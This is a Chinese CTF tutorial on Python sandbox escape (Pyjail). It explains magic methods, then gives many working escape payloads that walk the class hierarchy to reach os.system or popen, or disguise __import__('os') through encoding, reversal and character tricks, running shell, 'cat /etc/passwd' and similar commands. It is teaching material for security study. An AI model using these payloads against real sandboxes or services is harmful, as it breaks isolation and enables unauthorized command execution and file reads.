Python沙盒逃逸深度学习
C3ngH Lv3

参考链接:

特别鸣谢:void2eye

什么是Pyjail

Python沙箱逃逸是CTF题目中比较常见的类型,是指在受限环境中(通常称为“沙箱”)执行Python代码时,通过某种手段绕过安全限制,访问或修改不应被访问的资源或执行不应被执行的操作的过程,最终目标是执行系统任意命令,或读写文件。

Pyjail的实现原理

Python有一些特性,例如:Python的类均继承自object基类,Python的类中有一些静态方法,如bytes.fromhexint.frombytes等,对于这些类的实例可以直接调用这些方法

1
2
b'1'.fromhex('1234') 
# b'\x124'

特例:整数参数不支持这种操作,如1.frombytes(b'\x124')会报错。

Python的类中具有一系列的魔术方法,其机制类似于PHP的魔术方法。例如对象a使用a+b时,其实是尝试调用了a.__add__(b)

1
2
3
4
5
6
7
8
class A:
a = 50
b = 60
c = 70

print(A.__dict__)

# {'__module__': '__main__', 'a': 50, 'b': 60, 'c': 70, '__dict__': <attribute '__dict__' of 'A' objects>, '__weakref__': <attribute '__weakref__' of 'A' objects>, '__doc__': None}

Python魔术方法

  1. __init__:对象初始化方法,在创建对象时调用。通常用来初始化对象的属性。

    1
    2
    3
    class Example:
    def __init__(self, value):
    self.value = value
  2. __repr__:返回对象的“官方”字符串表示形式。通常可以通过调用 repr(object) 来查看。

    1
    2
    3
    class Example:
    def __repr__(self):
    return f"Example(value={self.value})"
  3. __str__:返回对象的“非正式”或友好字符串表示形式。通常可以通过调用 str(object)print(object) 来查看。

    1
    2
    3
    class Example:
    def __str__(self):
    return f"Example with value {self.value}"
  4. __len__:返回对象的长度。常用于实现自定义容器类。

    1
    2
    3
    class Container:
    def __len__(self):
    return len(self.items)
  5. __getitem__:获取对象中指定键的值。通常用于实现自定义的索引操作。

    1
    2
    3
    class Container:
    def __getitem__(self, key):
    return self.items[key]
  6. __setitem__:设置对象中指定键的值。常用于实现可变容器。

    1
    2
    3
    class Container:
    def __setitem__(self, key, value):
    self.items[key] = value
  7. __delitem__:删除对象中指定键的值。

    1
    2
    3
    class Container:
    def __delitem__(self, key):
    del self.items[key]
  8. __iter__:返回一个迭代器对象。通常用于实现可迭代对象。

    1
    2
    3
    class Container:
    def __iter__(self):
    return iter(self.items)
  9. __contains__:检查对象是否包含指定的元素。通常用于 in 操作符。

    1
    2
    3
    class Container:
    def __contains__(self, item):
    return item in self.items
  10. __call__:使实例对象可以像函数一样被调用。

    1
    2
    3
    class Example:
    def __call__(self, value):
    self.value = value
  11. __base__:返回当前类的基类。如 SomeClass.__base__ 会返回 <class 'object'>

  12. __subclasses__():查看当前类的子类组成的列表。

    1
    Example.__subclasses__()
  13. __builtins__:以一个集合的形式查看其引用。

    1
    2
    import builtins
    dir(builtins)
  14. __getattr____setattr____delattr__:处理对象属性的获取、设置和删除。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    class Example:
    def __getattr__(self, name):
    return f"{name} not found"

    def __setattr__(self, name, value):
    self.__dict__[name] = value

    def __delattr__(self, name):
    del self.__dict__[name]
  15. __enter____exit__:定义在使用 with 语句时对象的上下文管理行为。

    1
    2
    3
    4
    5
    6
    7
    8
    class Example:
    def __enter__(self):
    # Setup code
    return self

    def __exit__(self, exc_type, exc_val, exc_tb):
    # Teardown code
    pass
  16. __class__:指向对象的类。可以用来获取对象的类信息。

    1
    2
    obj = Example()
    print(obj.__class__) # <class '__main__.Example'>
  17. __delattr__:当试图删除对象的属性时调用。

    1
    2
    3
    4
    class Example:
    def __delattr__(self, name):
    print(f"Deleting attribute {name}")
    super().__delattr__(name)
  18. __dict__:包含对象(但不包括从类继承的属性)的属性字典。

    1
    2
    obj = Example()
    print(obj.__dict__) # {'attribute': value}
  19. __dir__:由 dir() 函数调用,用于列出对象的属性和方法。

    1
    2
    3
    class Example:
    def __dir__(self):
    return ['custom_attribute', 'another_attribute']
  20. __doc__:类或方法的文档字符串。

    1
    2
    3
    class Example:
    """This is a docstring."""
    print(Example.__doc__) # "This is a docstring."
  21. __eq__:实现对象的相等性比较,通常由 == 操作符调用。

    1
    2
    3
    class Example:
    def __eq__(self, other):
    return self.value == other.value
  22. __format__:用于实现自定义的字符串格式化。

    1
    2
    3
    class Example:
    def __format__(self, format_spec):
    return f"Formatted value: {self.value:{format_spec}}"
  23. __ge__:实现对象的“大于等于”比较,通常由 >= 操作符调用。

    1
    2
    3
    class Example:
    def __ge__(self, other):
    return self.value >= other.value
  24. __getattribute__:在访问对象属性时调用,优先于 __getattr__

    1
    2
    3
    4
    class Example:
    def __getattribute__(self, name):
    print(f"Accessing attribute {name}")
    return super().__getattribute__(name)
  25. __getstate__:用于对象序列化时返回要保存的状态。

    1
    2
    3
    4
    class Example:
    def __getstate__(self):
    state = self.__dict__.copy()
    return state
  26. __gt__:实现对象的“大于”比较,通常由 > 操作符调用。

    1
    2
    3
    class Example:
    def __gt__(self, other):
    return self.value > other.value
  27. __hash__:实现对象的哈希值计算,通常由 hash() 函数调用。对象的哈希值应保持不变。

    1
    2
    3
    class Example:
    def __hash__(self):
    return hash(self.value)
  28. __init_subclass__:在子类化时调用,可以用来自定义子类的行为。

    1
    2
    3
    4
    class Base:
    def __init_subclass__(cls, **kwargs):
    super().__init_subclass__(**kwargs)
    cls.custom_attribute = True
  29. __le__:实现对象的“小于等于”比较,通常由 <= 操作符调用。

    1
    2
    3
    class Example:
    def __le__(self, other):
    return self.value <= other.value
  30. __lt__:实现对象的“小于”比较,通常由 < 操作符调用。

    1
    2
    3
    class Example:
    def __lt__(self, other):
    return self.value < other.value
  31. __module__:指向定义类的模块名称。

    1
    2
    3
    class Example:
    pass
    print(Example.__module__) # __main__
  32. __ne__:实现对象的不等性比较,通常由 != 操作符调用。

    1
    2
    3
    class Example:
    def __ne__(self, other):
    return self.value != other.value
  33. __new__:创建并返回一个新对象实例,通常在对象实例化时调用,优先于 __init__

    1
    2
    3
    4
    class Example:
    def __new__(cls, *args, **kwargs):
    instance = super().__new__(cls)
    return instance
  34. __reduce__:用于定义对象序列化的行为,返回一个元组来帮助对象序列化。

    1
    2
    3
    class Example:
    def __reduce__(self):
    return (self.__class__, (self.value,))
  35. __reduce_ex__:与 __reduce__ 类似,但可以支持更多的协议版本。

    1
    2
    3
    class Example:
    def __reduce_ex__(self, protocol):
    return (self.__class__, (self.value,))
  36. __repr__:返回对象的“官方”字符串表示形式。通常可以通过调用 repr(object) 来查看。

    1
    2
    3
    class Example:
    def __repr__(self):
    return f"Example(value={self.value})"
  37. __setattr__:当试图设置对象的属性时调用。

    1
    2
    3
    4
    class Example:
    def __setattr__(self, name, value):
    print(f"Setting attribute {name} to {value}")
    super().__setattr__(name, value)
  38. __sizeof__:返回对象占用的内存大小,通常由 sys.getsizeof() 调用。

    1
    2
    3
    class Example:
    def __sizeof__(self):
    return object.__sizeof__(self) + sum(sys.getsizeof(v) for v in self.__dict__.values
  39. __subclasshook__:自定义类的子类检测逻辑。通常由 issubclass() 调用。

    1
    2
    3
    4
    class Base:
    @classmethod
    def __subclasshook__(cls, subclass):
    return hasattr(subclass, 'custom_method')
  40. __weakref__:用于支持弱引用,如果类中没有 __slots__ 属性,则对象的弱引用字典会自动包含此属性。

    1
    2
    3
    4
    5
    6
    7
    8
    import weakref

    class Example:
    pass

    obj = Example()
    r = weakref.ref(obj)
    print(r) # <weakref at 0x...; to 'Example' at 0x...>

Pyjail中常用的魔术方法

  • __class__能返回当前对象所属的类,例如''.__class__会返回它的类<class 'str'>,对于''.__class__(123)就等价于str(123)

  • __base__能返回当前类的基类,例如str.__base__就是<class 'object'>

  • __import__:载入模块的函数。例如import os等价于os = __import__('os')

  • __name__:该变量指示当前运行环境位于哪个模块中。如我们python一般写的if __name__ == '__main__':,就是来判断是否是直接运行该脚本。如果是从另外的地方import的该脚本的话,那__name__就不为__main__,就不会执行之后的代码。

  • __builtins__:包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数,如strchrorddictdir等。在pyjail的沙箱中,往往__builtins__被置为None,因此我们不能利用上述的函数。所以一种思路就是我们可以先通过类的基类和子类拿到__builtins__,再__import__('os').system('sh')进行RCE(远程代码执行Remote Code Execution);

  • __file__:该变量指示当前运行代码所在路径。如open(__file__).read()就是读取当前运行的python文件代码。需要注意的是,该变量仅在运行代码文件时会产生,在运行交互式终端时不会有此变量

  • _:该变量返回上一次运行的python语句结果。需要注意的是,该变量仅在运行交互式终端时会产生,在运行代码文件时不会有此变量

Pyjail中常用的函数和模块

import 函数
1
__import__('os').system('dir')
exec & eval 函数
1
2
eval('__import__("os").system("dir")')
exec('__import__("os").system("dir")')
execfile 函数

执行文件,主要用于引入模块来执行命令
python3不存在

1
2
3
>>>execfile('/usr/lib/python2.7/os.py')
>>>system('dir')
>>>getcwd() # 等同于pwd
timeit 函数 from timeit 模块
1
2
import timeit
timeit.timeit('__import__("os").system("dir")',number=1)

timeit 是一个 Python 内置模块,用于计时小段代码的执行时间。它提供了一种简单的方法来测量代码的性能,非常适合用于基准测试(benchmarking)。

1
python -m timeit "x = sum(range(1000))" //这将输出多次执行该代码段的平均时间。
1
2
3
4
5
6
7
8
9
10
11
12
import timeit

# 定义一个函数来计时
def example():
return sum(range(1000)) # tip sum(iterable, start=0)小用法

# 使用 timeit.timeit 计时
execution_time = timeit.timeit("example()", globals=globals(), number=1000)
print(f"Execution time: {execution_time} seconds")


# 在 timeit.timeit() 中传递一段代码字符串时,这段代码默认在一个新的、干净的命名空间中执行。这意味着它无法访问当前脚本中的任何变量、函数或导入的模块。通过指定 globals=globals(),可以让这段代码在当前脚本的全局命名空间中执行,从而访问当前脚本中的变量和函数。
platform 模块

注意这个只在__py2__生效,py3用了subprocess

platform提供了很多方法去获取操作系统的信息,popen函数可以执行任意命令

1
2
import platform 
print platform.popen('dir').read()
commands 模块

这个同样在py2才行

依旧可以用来执行部分指令,貌似不可以拿shell,但其他的很多都可以

1
2
3
import commands
print commands.getoutput("dir")
print commands.getstatusoutput("dir")
subprocess模块

py3集大成之模块

shell=True 命令本身被bash启动,支持shell启动,否则不支持

1
2
3
4
5
6
7
8
9
10
11
import subprocess
subprocess.call(['ls'],shell=True)
subprocess.getstatusoutput("dir")
subprocess.getoutput("dir")
subprocess.check_output(['ls', '/']) # py2
subprocess.run(['ls', '/'], capture_output=True, text=True)
'''
capture_output=True 表示捕获标准输出和标准错误。
text=True 表示将输出作为字符串处理,而不是字节。
check=True 表示如果命令返回非零退出状态,将引发 subprocess.CalledProcessError 异常。
'''
1
2
3
4
5
6
import subprocess  # py3
try:
result = subprocess.run(['ls', '/'], capture_output=True, text=True, check=True)
print("Command output:\n", result.stdout)
except subprocess.CalledProcessError as e:
print("Command failed with error:\n", e.stderr)
compile 函数

compile() 函数将一个字符串编译为字节代码。

1
compile(source, filename, mode[, flags[, dont_inherit]])
  • source – 字符串或者AST(Abstract Syntax Trees)对象(抽象语法树)
  • filename – 代码文件名称,如果不是从文件读取代码则传递一些可辨认的值
  • mode – 指定编译代码的种类。可以指定为 exec ,eval, single
    1. exec:可以包含一系列语句(包括复合语句,如函数定义)。
    2. eval:只能包含单个表达式。
    3. single:可以包含单个语句。
  • flags – 变量作用域,局部命名空间,如果被提供,可以是任何映射对象
  • flags和dont_inherit是用来控制编译源码时的标志
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
>>>str = "for i in range(0,10): print(i)" 
>>> c = compile(str,'','exec') # 编译为字节代码对象
>>> c
<code object <module> at 0x10141e0b0, file "", line 1>
>>> exec(c)
0
1
2
3
4
5
6
7
8
9
>>> str = "3 * 4 + 5"
>>> a = compile(str,'','eval')
>>> eval(a)
17


source_code = """
def greet(name):
return 'Hello, ' + name

print(greet('World'))
"""

code_object = compile(source_code, '<string>', 'exec')
exec(code_object)

生成动态命令:

1
2
3
4
5
6
7
8
9
10
11
import subprocess

# 定义要执行的命令
command = "ls /"

# 使用 compile 编译命令字符串
compiled_command = compile(f"subprocess.getoutput('{command}')", '<string>', 'eval')

# 使用 eval 执行编译后的命令
output = eval(compiled_command)
print(output)
fstring(f修饰符 py>3.6)
1
2
f'{__import__("os").system("ls")}'
F'{__import__("os").system("ls")}'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import sys

# 打印所有命令行参数
print("All command line arguments:", sys.argv)

# 打印脚本名称
print("Script name:", sys.argv[0])

# 打印传递给脚本的参数
if len(sys.argv) > 1:
print("Arguments passed to the script:", sys.argv[1:])
else:
print("No arguments were passed to the script.")

# (ctf) ➜ python_test python test.py 1 2 3
# All command line arguments: ['test.py', '1', '2', '3']
# Script name: test.py
# Arguments passed to the script: ['1', '2', '3']

-----------------------------------

# 正常退出
sys.exit(0)

# 非正常退出,返回错误码 1
sys.exit(1)

------------------------------------

# 打印模块搜索路径
print("Module search paths:", sys.path)

# Module search paths: ['/home/void2eye/python_test', '/usr/lib/python310.zip', '/usr/lib/python3.10', '/usr/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/dist-packages', '/usr/lib/python3/dist-packages']

-----------------------------------
# sys.stdin, sys.stdout 和 sys.stderr 分别表示标准输入、标准输出和标准错误流。可以重定向这些流。

# 重定向标准输出
sys.stdout = open('output.txt', 'w')
print("This will be written to the file output.txt")

# 恢复标准输出
sys.stdout = sys.__stdout__
print("This will be printed to the console")

-----------------------------------

# 打印 Python 版本信息
print("Python version:", sys.version)
file 函数
1
file('flag').read()
open 函数
1
open('flag').read()
codecs模块
1
2
import codecs
codecs.open('test').read()
Filetype 函数 from types 模块

可以用来读取文件

只能在py2里面用

1
2
import types
print types.FileType("flag").read()

更加深入的理解Python魔术方法

我们先看一个报错

image

在 Python 中,__init__ 方法属于类的实例方法,但它本质上是通过 method-wrapperwrapper_descriptor 实现的特殊方法,而不是常规的函数对象。这就是为什么在访问 __init__ 的时候会看到 method-wrapper,并且无法访问像 __globals__ 这样的属性。

__init__ 是一个特殊方法__init__ 是类的构造函数(初始化方法),它是一个绑定方法,调用时由 Python 自动处理。这种特殊的绑定方法不像普通的函数或方法那样包含 __globals__ 属性,因为它是通过内部机制实现的,而不是像常规函数那样存在于全局命名空间。

绑定方法和 method-wrapper: 通过 obj.__init__ 访问 __init__ 实际上返回的是一个绑定到对象的 method-wrapper,它是 Python 的一种优化机制,用于类的魔法方法。method-wrapper 并不暴露 __globals__ 属性,因为它与普通函数不同,不能直接通过 globals() 访问其全局变量。

__globals__ 仅适用于函数对象: 只有普通的函数对象(如通过 def 定义的函数)才会有 __globals__ 属性,表示它们所在的全局命名空间。Python 的内建方法(如 __init__)是用 C 实现的,属于特殊的 method-wrapper,因此不具备 __globals__ 属性。

重点在第三点,能够有globals属性的必须是def定义的函数(lambda也可以

image

image

很清晰了,函数能直接访问他所在模块的所有变量和属性,你看test3已经访问到了之前定义的匿名函数。

所以我们的目的一般都是通过访问类或者实例来访问函数的globals属性

image

  • 注意跳板为实例的时候,必须得访问__class__来访问到他的类。

总结

Python 的内置魔法方法(如 __init__)是特殊的绑定方法(method-wrapper),不具备 __globals__ 属性。

只有通过 def 定义的普通函数和方法才具有 __globals__ 属性,表示它们的全局命名空间。

要访问 __globals__,请确保操作的对象是常规的函数或方法对象,而不是内建的魔法方法。

Pyjail绕过方法

内联函数decode

因为import函数本身是用来动态的导入模块,比如:import(module) 或者 import module

1
2
3
a = __import__("bf".decode('rot_13'))       #import os
# 注意只有py2才能这么写,py3里的str类是没有decode的方法的,且py3的decode改为从字节数据到字符串的转换
a.system('sh')

所以py3要么自己写解码脚本,要么用codecs库,其提供了一种编码和解码数据流的接口

1
a = __import__(codecs.decode('bf', 'rot_13'))

builtins函数

该函数模块中的函数都被自动引入,不需要再单独引入) , dir(__builtins__) 查看剩余可用内置函数

一个模块对象有一个由字典对象实现的命名空间,属性引用被转换为这个字典中的查找,例如,m.x等同于m.__dict__[“x”],我们就可以用一些编码来绕过字符明文检测。

所以可以有

注意,py3中的base64 编码和解码需要处理的是 bytes 对象,而不是 str 对象

1
2
3
4
5
6
7
8
9
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('sh')    # py2


__builtins__.__dict__[codecs.decode(b'X19pbXBvcnRfXw==', 'base64').decode('utf-8')](codecs.decode(b'b3M=', 'base64').decode('utf-8')).system('sh') # py3



等同于
__builtins__.__dict__[_import__]('os').system('sh')

路径引入os等模块

因为一般都是禁止引入敏感包,当禁用os时,实际上就是 sys.modules[‘os’]=None

而因为一般的类Linux系统的python os路径都是/usr/lib/python2.7/os.py ,所以可以通过路径引入

1
2
import sys
sys.modules['os']='/usr/lib/pythonx.xx/os.py'

reload模块

禁止引用某些函数时,可能会删除掉一些函数的引用,比如:

1
del __builtins__.__dict__['__import__']

这样就无法再引入,但是我们可以用 reload(__builtins__) 重载builtins模块恢复内置函数

但是reload本身也是builtins模块的函数,其本身也可能会被禁掉

在可以引用包的情况下,我们还可以使用imp模块

1
2
3
import __builtins__
import imp
imp.reload(__builtins__)

这样就可以得到完整的builtins模块了,需要注意的是需要先import __builtins__ ,如果不写的话,虽然builtins模块已经被引入,但是它实际上是不可见的,即它仍然无法被找到,这里是这么说的:

引入imp模块的reload函数能够生效的前提是,在最开始有这样的程序语句import builtins,这个import的意义并不是把内建模块加载到内存中,因为内建早已经被加载了,它仅仅是让内建模块名在该作用域中可见。

再如果imp的reload被禁用掉呢?同时禁用掉路径引入需要的sys模块呢?
可以尝试上面的execfile()函数,或者open函数打开文件,exec执行代码

1
2
execfile('/usr/lib/python2.7/os.py')
# py2
1
2
3
4
5
6
7
8
9
10
11
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval>

函数名字符串扫描过滤的绕过(通过getattr()来字符串操作)

假如沙箱本身不是通过对包的限制,而是扫描函数字符串,关键码等等来过滤的;而关键字和函数没有办法直接用字符串相关的编码或解密操作

这里就可以使用: getattr__getattribute__

  • 用法
    • getattr 是一个函数,用于获取属性,通常用于动态属性访问,提供了更高层次的抽象和便利。
    • __getattribute__ 是对象的内置方法,它用于在访问对象任何属性时自动调用。这是一个低级别的钩子,用于拦截属性访问,可以对其进行重载自定义属性访问行为
1
2
3
4
5
6
7
8
9
getattr(__import__("os"),"flfgrz".encode("rot13"))('ls') # py2 的decode不用我多说

getattr(__import__("os"),"metsys"[::-1])('ls')

__import__("os").__getattribute__("metsys"[::-1])('ls')
# 注意,在使用文件路径import os后:execfile('/usr/lib/python2.7/os.py'),这个方法会报错,改成
# 直接用os.__getattribute__("metsys"[::-1])('ls')

__import__("os").__getattribute__("flfgrz".encode("rot13"))('ls')

如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。
如果某个类定义了 getattribute() 方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)

runoob :http://www.runoob.com/python/python-func-getattr.html

恢复 sys.modules

一些过滤中可能将 sys.modules['os'] 进行修改,这个时候即使将 os 模块导入进来,也是无法使用的.

由于很多别的命令执行库也使用到了 os,因此也会受到相应的影响,例如 subprocess

由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此我们只需要将 os 模块删除,然后再次导入即可。

或者说,我们这一步:del sys.modules['os']已经把os设置成一个字符串了,看报错就知道

1
2
3
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'

os已经变成一个字符串类了,所以删了重导就行了

基于继承链获取(object类)

在清空了 __builtins__的情况下,我们也可以通过索引 subclasses 来找到这些内建函数。

py2跟py3不一样

py2里面file

py3里面可以用os._wrap_close

通过mro方法获取继承关系

payload:(py2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
().__class__.__bases__[0].__subclasses__()[40]("flag").read()
"".__class__.__mro__[2].__subclasses__()[40]("flag").read()
().__class__.__bases__[0].__subclasses__()[40]("flag","w").write("1111")
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("flag").read()' )
'''
>>> ().__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.catch_warnings'>
注意,py2里面的func_globals在py3重写成__globals__了
'''
# 可以执行命令寻找subclasses下引入过os模块的模块
>>> [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> "".__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>

payload(py3)

1
2
3
4
5
6
7
().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('ls /').read()

>>> ().__class__.__bases__[0].__subclasses__()[133]
<class 'os._wrap_close'>

# warnings.catch_warnings也可以用,不过要重找
().__class__.__bases__[0].__subclasses__()[144].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')

不能直接在模块的 __globals__ 字典中,而是在 __builtins__ 字典中找。

字符串拼接

1
2
3
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['fi'+'le']('E:/passwd').read()

当然,如果过滤的是 __class__ 或者 __mro__ 这样的属性名,就无法采用变形来绕过了。

base64 变形

1
2
3
4
5
6
7
8
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')] ('b3M='.decode('base64')).system('ls')
# py2

逆序

1
2
3
4
5
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
root
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
root

注意 exec 与 eval 在执行上有所差异。

进制转换

八进制:

1
2
3
4
5
6
7
8
9
10
11
exec("print('RCE'); __import__('os').system('ls')")
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")

# subprocess
s = "eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False])"
octal_string = "".join([f"\\{oct(ord(c))[2:]}" for c in s])
print(octal_string)

# 16进制
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")

其他编码

hex、rot13、base32 等。

过滤了属性名或者函数名:

在 payload 的构造中,我们大量的使用了各种类中的属性,例如 classimport 等。

getattr 函数

getattr 是 Python 的内置函数,用于获取一个对象的属性或者方法。其语法如下:

1
getattr(object, name[, default]) 

这里,object 是对象,name 是字符串,代表要获取的属性的名称。如果提供了 default 参数,当属性不存在时会返回这个值,否则会抛出 AttributeError。

1
2
3
4
5
6
7
8
getattr({},'__class__')
<class 'dict'>
getattr(os,'system')
<built-in function system>
getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
getattr(os,'system111',os.system)('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh

这样一来,就可以将 payload 中的属性名转化为字符串,字符串的变换方式多种多样,更易于绕过黑名单。

__getattribute__ 函数

getattr 函数在调用时,实际上就是调用这个类的 __getattribute__ 方法。

1
2
3
4
5
os.\__getattribute__
<method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
os.__getattribute__('system')
<built-in function system>
__getattr__ 函数

getattr 是 Python 的一个特殊方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError 异常。

如下是 getattr 方法的基本形式:

1
2
3
class MyClass:
def __getattr__(self, name):
return 'You tried to get ' + name

在这个例子中,任何你尝试访问的不存在的属性都会返回一个字符串,形如 “You tried to get X”,其中 X 是你尝试访问的属性名。

与 _getattribute_ 不同,getattr 只有在属性查找失败时才会被调用,这使得 getattribute 可以用来更为全面地控制属性访问。

如果在一个类中同时定义了 getattrgetattribute,那么无论属性是否存在,getattribute 都会被首先调用。只有当 getattribute 抛出 AttributeError 异常时,getattr 才会被调用。

另外,所有的类都会有__getattribute__属性,而不一定有__getattr__属性。

_globals_ 替换

globals 可以用 func_globals 直接替换;

1
2
3
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")

__mro__、__bases__、__base__互换

三者之间可以相互替换

1
2
3
4
5
6
7
8
9
10
11
12
13
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__

过滤 import

python 中除了可以使用 import 来导入,还可以使用 _import_ 和 importlib.import_module 来导入模块

_import_

_import_(‘os’)
importlib.import_module

注意:importlib 需要进行导入之后才能够使用,所以有些鸡肋。。。

1
2
import importlib
importlib.import_module('os').system('ls')

__loader__.load_module

如果使用 audithook 的方式进行过滤,上面的两种方法就无法使用了,但是 loader.load_module 底层实现与 import 不同, 因此某些情况下可以绕过.

loader.load_module(‘os’)
<module ‘os’ (built-in)>

[]绕过

如果中括号被过滤了,则可以使用如下的两种方式来绕过:

调用__getitem__()函数直接替换;

调用 pop()函数(用于移除列表中的一个元素,默认最后一个元素,并且返回该元素的值)替换;

1
''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls') #py2
getitem()替换中括号[]
1
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')
pop()替换中括号[],结合__getitem__()利用
1
2
3
''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')

getattr(''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__,'__builtins__').__getitem__('__import__')('os').system('ls')

''绕过

str 函数

如果过滤了引号,我们 payload 中构造的字符串会受到影响。其中一种方法是使用 str() 函数获取字符串,然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。

1
2
3
4
5
6
7
8
9
().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
str(().__class__.__new__)[21]
'w'
str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'
1
chr 函数

也可以使用 chr 加数字来构造字符串

1
2
3
4
5
6
chr(56)
'8'
chr(100)
'd'
chr(100)*40
'dddddddddddddddddddddddddddddddddddddddd'
list + dict

使用 dict 和 list 进行配合可以将变量名转化为字符串,但这种方式的弊端在于字符串中不能有空格等。

1
list(dict(whoami=1))[0] 
_doc_

_doc_ 变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串:

1
2
().__doc__.find('s')
().__doc__[19]+().__doc__[86]+().__doc__[19]
bytes 函数

bytes 函数可以接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串**(python2)**

1
bytes([115, 121, 115, 116, 101, 109]).decode() 

+绕过

过滤了 + 号主要影响到了构造字符串,假如题目过滤了引号和加号,构造字符串还可以使用 join 函数,初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 _doc_ 中取,

1
str().join(().__doc__[19],().__doc__[23]) 

数字绕过

如果过滤了数字的话,可以使用一些函数的返回值获取。

例如:

1
2
3
0int(bool([]))、Flase、len([])、any(())

1int(bool([""]))、Trueall(())、int(list(list(dict(a၁=())).pop()).pop())

有了 0 之后,其他的数字可以通过运算进行获取:

1
2
3
4
0 ** 0 == 1 
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4

当然,也可以直接通过 repr 获取一些比较长字符串,然后使用 len 获取大整数。

1
2
3
4
len(repr(True))
4
len(repr(bytearray))
19

第三种方法,可以使用 len + dict + list 来构造,这种方式可以避免运算符的的出现

1
2
3
0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])

第四种方法: unicode 会在后续的 unicode 绕过中介绍

空格绕过

通过 ()、[] 替换

运算符绕过

== 可以用 in 来替换

or 可以用 + 、-、|来替换

例如

1
2
3
4
5
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] or i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
